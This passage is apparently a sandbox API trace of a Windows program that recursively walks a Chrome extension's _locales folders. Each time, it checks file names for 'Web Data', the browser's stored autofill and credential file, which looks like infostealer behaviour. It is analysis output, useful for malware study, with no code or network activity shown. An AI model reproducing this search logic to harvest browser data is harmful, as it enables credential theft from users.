returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.283] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.283] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.283] lstrlenA (lpString="ca") returned 2 [0056.283] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2dadb0 [0056.284] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.284] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="ca" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ca") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ca" [0056.284] LocalFree (hMem=0x2daca0) returned 0x0 [0056.284] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ca") returned 133 [0056.284] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ca") returned 133 [0056.284] lstrlenA (lpString="\\*.*") returned 4 [0056.284] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2daec0 [0056.284] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ca" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ca") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ca" [0056.284] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ca", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ca\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ca\\*.*" [0056.284] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ca\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.284] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.284] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.284] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.284] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.284] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.284] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.284] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.284] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.285] LocalFree (hMem=0x2daec0) returned 0x0 [0056.285] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.285] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.285] lstrcmpiA (lpString1=".", lpString2="cs") returned -1 [0056.285] lstrcmpiA (lpString1="..", lpString2="cs") returned -1 [0056.285] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.285] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.285] lstrlenA (lpString="\\") returned 1 [0056.285] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.285] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.285] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.285] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.285] lstrlenA (lpString="cs") returned 2 [0056.285] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2dadb0 [0056.285] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.285] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="cs" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\cs") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\cs" [0056.285] LocalFree (hMem=0x2daca0) returned 0x0 [0056.285] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\cs") returned 133 [0056.285] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\cs") returned 133 [0056.285] lstrlenA (lpString="\\*.*") returned 4 [0056.285] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2daec0 [0056.285] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\cs" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\cs") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\cs" [0056.285] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\cs", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\cs\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\cs\\*.*" [0056.285] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\cs\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.285] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.285] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.285] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.285] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.285] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.285] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.285] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.285] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.286] LocalFree (hMem=0x2daec0) returned 0x0 [0056.286] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.286] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.286] lstrcmpiA (lpString1=".", lpString2="da") returned -1 [0056.286] lstrcmpiA (lpString1="..", lpString2="da") returned -1 [0056.286] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.286] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.286] lstrlenA (lpString="\\") returned 1 [0056.286] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.286] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.286] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.286] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.286] lstrlenA (lpString="da") returned 2 [0056.286] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2dadb0 [0056.286] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.286] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="da" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\da") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\da" [0056.286] LocalFree (hMem=0x2daca0) returned 0x0 [0056.286] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\da") returned 133 [0056.286] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\da") returned 133 [0056.286] lstrlenA (lpString="\\*.*") returned 4 [0056.286] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2daec0 [0056.286] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\da" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\da") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\da" [0056.286] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\da", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\da\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\da\\*.*" [0056.286] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\da\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.286] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.286] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.286] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.286] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.286] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.286] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.286] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.286] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.286] LocalFree (hMem=0x2daec0) returned 0x0 [0056.286] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.286] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.286] lstrcmpiA (lpString1=".", lpString2="de") returned -1 [0056.286] lstrcmpiA (lpString1="..", lpString2="de") returned -1 [0056.286] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.286] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.286] lstrlenA (lpString="\\") returned 1 [0056.286] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.286] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.286] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.286] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.286] lstrlenA (lpString="de") returned 2 [0056.286] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2dadb0 [0056.286] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.287] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="de" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\de") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\de" [0056.287] LocalFree (hMem=0x2daca0) returned 0x0 [0056.287] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\de") returned 133 [0056.287] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\de") returned 133 [0056.287] lstrlenA (lpString="\\*.*") returned 4 [0056.287] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2daec0 [0056.287] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\de" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\de") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\de" [0056.287] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\de", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\de\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\de\\*.*" [0056.287] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\de\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.287] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.287] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.287] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.287] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.287] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.287] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.287] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.287] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.287] LocalFree (hMem=0x2daec0) returned 0x0 [0056.287] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.287] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.287] lstrcmpiA (lpString1=".", lpString2="el") returned -1 [0056.287] lstrcmpiA (lpString1="..", lpString2="el") returned -1 [0056.287] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.287] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.287] lstrlenA (lpString="\\") returned 1 [0056.287] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.287] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.287] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK 